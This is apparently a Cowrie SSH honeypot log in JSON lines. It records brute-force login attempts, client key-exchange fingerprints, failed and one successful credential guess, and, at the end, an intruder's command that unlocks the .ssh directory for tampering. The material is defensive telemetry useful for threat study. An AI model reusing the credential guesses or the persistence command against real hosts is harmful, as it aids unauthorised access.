":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:31.432482Z","src_ip":"159.203.92.129","session":"86c5aa67bb9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app1","password":"app1","message":"login attempt [app1/app1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:31.442241Z","src_ip":"159.203.92.129","session":"86c5aa67bb9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:31.609331Z","src_ip":"210.79.142.221","session":"7659e09376c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:32.207721Z","src_ip":"69.6.221.248","session":"4ce45346d8e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:32.218982Z","src_ip":"148.216.28.11","session":"8f5e20f8accd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:32.447748Z","src_ip":"159.203.92.129","session":"86c5aa67bb9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat123","message":"login attempt [ubuntu/redhat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:32.615860Z","src_ip":"210.79.142.221","session":"7659e09376c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:33.861427Z","src_ip":"210.79.142.221","session":"7659e09376c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":42712,"dst_ip":"159.203.135.109","dst_port":22,"session":"93adc00900bf","protocol":"ssh","message":"New connection: 2.203.183.35:42712 (159.203.135.109:22) [session: 93adc00900bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:42.046151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:42.051421Z","src_ip":"2.203.183.35","session":"93adc00900bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:42.159314Z","src_ip":"2.203.183.35","session":"93adc00900bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hduser1234567","message":"login attempt [ubuntu/hduser1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:42.674423Z","src_ip":"2.203.183.35","session":"93adc00900bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:43.783901Z","src_ip":"2.203.183.35","session":"93adc00900bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58578,"dst_ip":"159.203.135.109","dst_port":22,"session":"74f5c1dd988b","protocol":"ssh","message":"New connection: 122.168.114.167:58578 (159.203.135.109:22) [session: 74f5c1dd988b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:49.003674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:50.203573Z","src_ip":"122.168.114.167","session":"74f5c1dd988b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:50.206812Z","src_ip":"122.168.114.167","session":"74f5c1dd988b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:54.976803Z","src_ip":"122.168.114.167","session":"74f5c1dd988b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:57.068258Z","src_ip":"122.168.114.167","session":"74f5c1dd988b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40574,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f2a460ea76d","protocol":"ssh","message":"New connection: 159.203.92.129:40574 (159.203.135.109:22) [session: 5f2a460ea76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:16.274054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:16.305264Z","src_ip":"159.203.92.129","session":"5f2a460ea76d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:16.311220Z","src_ip":"159.203.92.129","session":"5f2a460ea76d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app1","password":"app1123","message":"login attempt [app1/app1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:16.452025Z","src_ip":"159.203.92.129","session":"5f2a460ea76d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:17.460430Z","src_ip":"159.203.92.129","session":"5f2a460ea76d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":59748,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6ea1771fce4","protocol":"ssh","message":"New connection: 148.216.28.11:59748 (159.203.135.109:22) [session: f6ea1771fce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:18.312625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:18.318650Z","src_ip":"148.216.28.11","session":"f6ea1771fce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:18.388690Z","src_ip":"148.216.28.11","session":"f6ea1771fce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2026","message":"login attempt [ubuntu/Ubuntu@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:18.705937Z","src_ip":"148.216.28.11","session":"f6ea1771fce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:19.778115Z","src_ip":"148.216.28.11","session":"f6ea1771fce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60986,"dst_ip":"159.203.135.109","dst_port":22,"session":"f29942f66c35","protocol":"ssh","message":"New connection: 122.168.114.167:60986 (159.203.135.109:22) [session: f29942f66c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:29.090937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:30.100040Z","src_ip":"122.168.114.167","session":"f29942f66c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:30.108547Z","src_ip":"122.168.114.167","session":"f29942f66c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:35.252582Z","src_ip":"122.168.114.167","session":"f29942f66c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":40970,"dst_ip":"159.203.135.109","dst_port":22,"session":"c75fcfd5d450","protocol":"ssh","message":"New connection: 69.6.221.248:40970 (159.203.135.109:22) [session: c75fcfd5d450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:36.528986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:36.534482Z","src_ip":"69.6.221.248","session":"c75fcfd5d450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:36.649296Z","src_ip":"69.6.221.248","session":"c75fcfd5d450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Abcd1234","message":"login attempt [ftpuser/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:37.137422Z","src_ip":"69.6.221.248","session":"c75fcfd5d450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:37.644493Z","src_ip":"122.168.114.167","session":"f29942f66c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:38.254570Z","src_ip":"69.6.221.248","session":"c75fcfd5d450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":60520,"dst_ip":"159.203.135.109","dst_port":22,"session":"046f7e688b39","protocol":"ssh","message":"New connection: 2.203.183.35:60520 (159.203.135.109:22) [session: 046f7e688b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:39.532986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:39.538896Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:39.650115Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"maets","message":"login attempt [steam/maets] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:40.202621Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:40.530312Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:40.533765Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
